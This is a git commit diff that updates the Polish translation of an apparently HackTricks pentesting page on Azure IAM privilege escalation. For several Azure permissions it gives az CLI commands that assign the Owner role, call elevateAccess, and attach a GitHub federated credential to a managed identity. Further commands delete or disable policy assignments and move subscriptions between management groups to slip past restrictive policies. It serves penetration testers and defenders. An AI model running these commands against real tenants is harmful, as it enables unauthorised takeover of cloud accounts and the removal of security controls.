Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-28 09:47:34 +00:00
parent 4951c9af27
commit 2d9c90b579
@@ -1,10 +1,10 @@
# Az - Azure IAM Privesc (Authorization)
# Az - Azure IAM Privesc (Autoryzacja)
{{#include ../../../banners/hacktricks-training.md}}
## Azure IAM
Aby uzyskać więcej informacji, sprawdź:
Aby uzyskać więcej informacji, zobacz:
{{#ref}}
../az-services/az-azuread.md
@@ -12,14 +12,14 @@ Aby uzyskać więcej informacji, sprawdź:
### Microsoft.Authorization/roleAssignments/write
To uprawnienie pozwala na przypisywanie ról do podmiotów w określonym zakresie, co umożliwia atakującemu eskalację uprawnień poprzez przypisanie sobie bardziej uprzywilejowanej roli:
To uprawnienie pozwala przypisywać role principalom w określonym zakresie, umożliwiając atakującemu eskalację uprawnień poprzez przypisanie sobie roli o wyższych uprawnieniach:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
To uprawnienie pozwala na modyfikację uprawnień przyznanych przez rolę, co umożliwia atakującemu eskalację uprawnień poprzez przyznanie większych uprawnień roli, którą przypisał.
To uprawnienie pozwala modyfikować prawa przypisane do roli, co umożliwia atakującemu eskalację uprawnień przez przyznanie tej roli dodatkowych uprawnień.
Utwórz plik `role.json` z następującą **zawartością**:
```json
@@ -36,16 +36,16 @@ Utwórz plik `role.json` z następującą **zawartością**:
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
```
Następnie zaktualizuj uprawnienia roli zgodnie z poprzednią definicją, wywołując:
Następnie zaktualizuj uprawnienia roli, używając poprzedniej definicji, wywołując:
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
To uprawnienie pozwala na podniesienie uprawnień i możliwość przypisywania uprawnień do dowolnego podmiotu do zasobów Azure. Jest przeznaczone dla Globalnych Administratorów Entra ID, aby mogli również zarządzać uprawnieniami do zasobów Azure.
To uprawnienie pozwala na eskalację uprawnień i przypisywanie uprawnień dowolnemu principalowi w zasobach Azure. Ma być nadawane Entra ID Global Administrators, aby mogli również zarządzać uprawnieniami do zasobów Azure.
> [!TIP]
> Uważam, że użytkownik musi być Globalnym Administratorem w Entra ID, aby wywołanie podniesienia działało.
> Myślę, że użytkownik musi być Global Administrator w Entra ID, aby wywołanie elevate zadziałało.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
To uprawnienie pozwala na dodanie poświadczeń federacyjnych do zarządzanych tożsamości. Np. przyznanie dostępu do Github Actions w repozytorium dla zarządzanej tożsamości. Następnie pozwala na **dostęp do dowolnej zdefiniowanej przez użytkownika zarządzanej tożsamości**.
To uprawnienie pozwala dodawać Federated credentials do managed identities. Np. przyznać Github Actions w repo dostęp do managed identity. Następnie umożliwia to **uzyskanie dostępu do dowolnej zdefiniowanej przez użytkownika managed identity**.
Przykładowa komenda, aby przyznać dostęp do repozytorium w Github dla zarządzanej tożsamości:
Przykładowe polecenie, aby przyznać repo w Github dostęp do managed identity:
```bash
# Generic example:
az rest --method PUT \
@@ -71,4 +71,94 @@ az rest --method PUT \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Atakujący posiadający uprawnienie `Microsoft.Authorization/policyAssignments/write` lub `Microsoft.Authorization/policyAssignments/delete` nad grupą zarządzania, subskrypcją lub grupą zasobów może **zmodyfikować lub usunąć przypisania zasad w Azure**, co może potencjalnie **wyłączyć ograniczenia bezpieczeństwa**, które blokują określone operacje.
Pozwala to uzyskać dostęp do zasobów lub funkcji, które wcześniej były chronione przez zasady.
**Usuń przypisanie zasad:**
```bash
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
**Wyłącz przypisanie zasad:**
```bash
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
```
**Zweryfikuj zmiany:**
```bash
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
### Microsoft.Authorization/policyDefinitions/write
Atakujący posiadający uprawnienie `Microsoft.Authorization/policyDefinitions/write` może **modyfikować definicje polityk Azure**, zmieniając reguły, które kontrolują ograniczenia bezpieczeństwa w całym środowisku.
Na przykład polityka ograniczająca dozwolone regiony tworzenia zasobów może zostać zmieniona tak, aby zezwalać na dowolny region, albo efekt polityki może zostać zmieniony, aby uczynić ją nieskuteczną.
**Modyfikacja definicji polityki:**
```bash
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
```
**Zweryfikuj zmiany:**
```bash
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
```
### Microsoft.Management/managementGroups/write
Atakujący z uprawnieniem `Microsoft.Management/managementGroups/write` może **zmodyfikować hierarchiczną strukturę management groups** lub **utworzyć nowe management groups**, potencjalnie omijając restrykcyjne polityki zastosowane na wyższych poziomach.
Na przykład atakujący może utworzyć nowy management group bez restrykcyjnych polityk, a następnie przenieść do niego subscriptions.
**Utwórz nowy management group:**
```bash
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
```
**Modyfikacja hierarchii grup zarządzania:**
```bash
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
```
**Zweryfikuj zmiany:**
```bash
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
```
### Microsoft.Management/managementGroups/subscriptions/write
Atakujący z uprawnieniem `Microsoft.Management/managementGroups/subscriptions/write` może **przenosić subskrypcje pomiędzy management groups**, co pozwala mu potencjalnie **omijać restrykcyjne polityki** poprzez przeniesienie subskrypcji do grupy o mniej restrykcyjnych lub braku polityk.
**Przenieś subskrypcję do innej management group:**
```bash
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
```
**Zweryfikuj zmiany:**
```bash
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
```
{{#include ../../../banners/hacktricks-training.md}}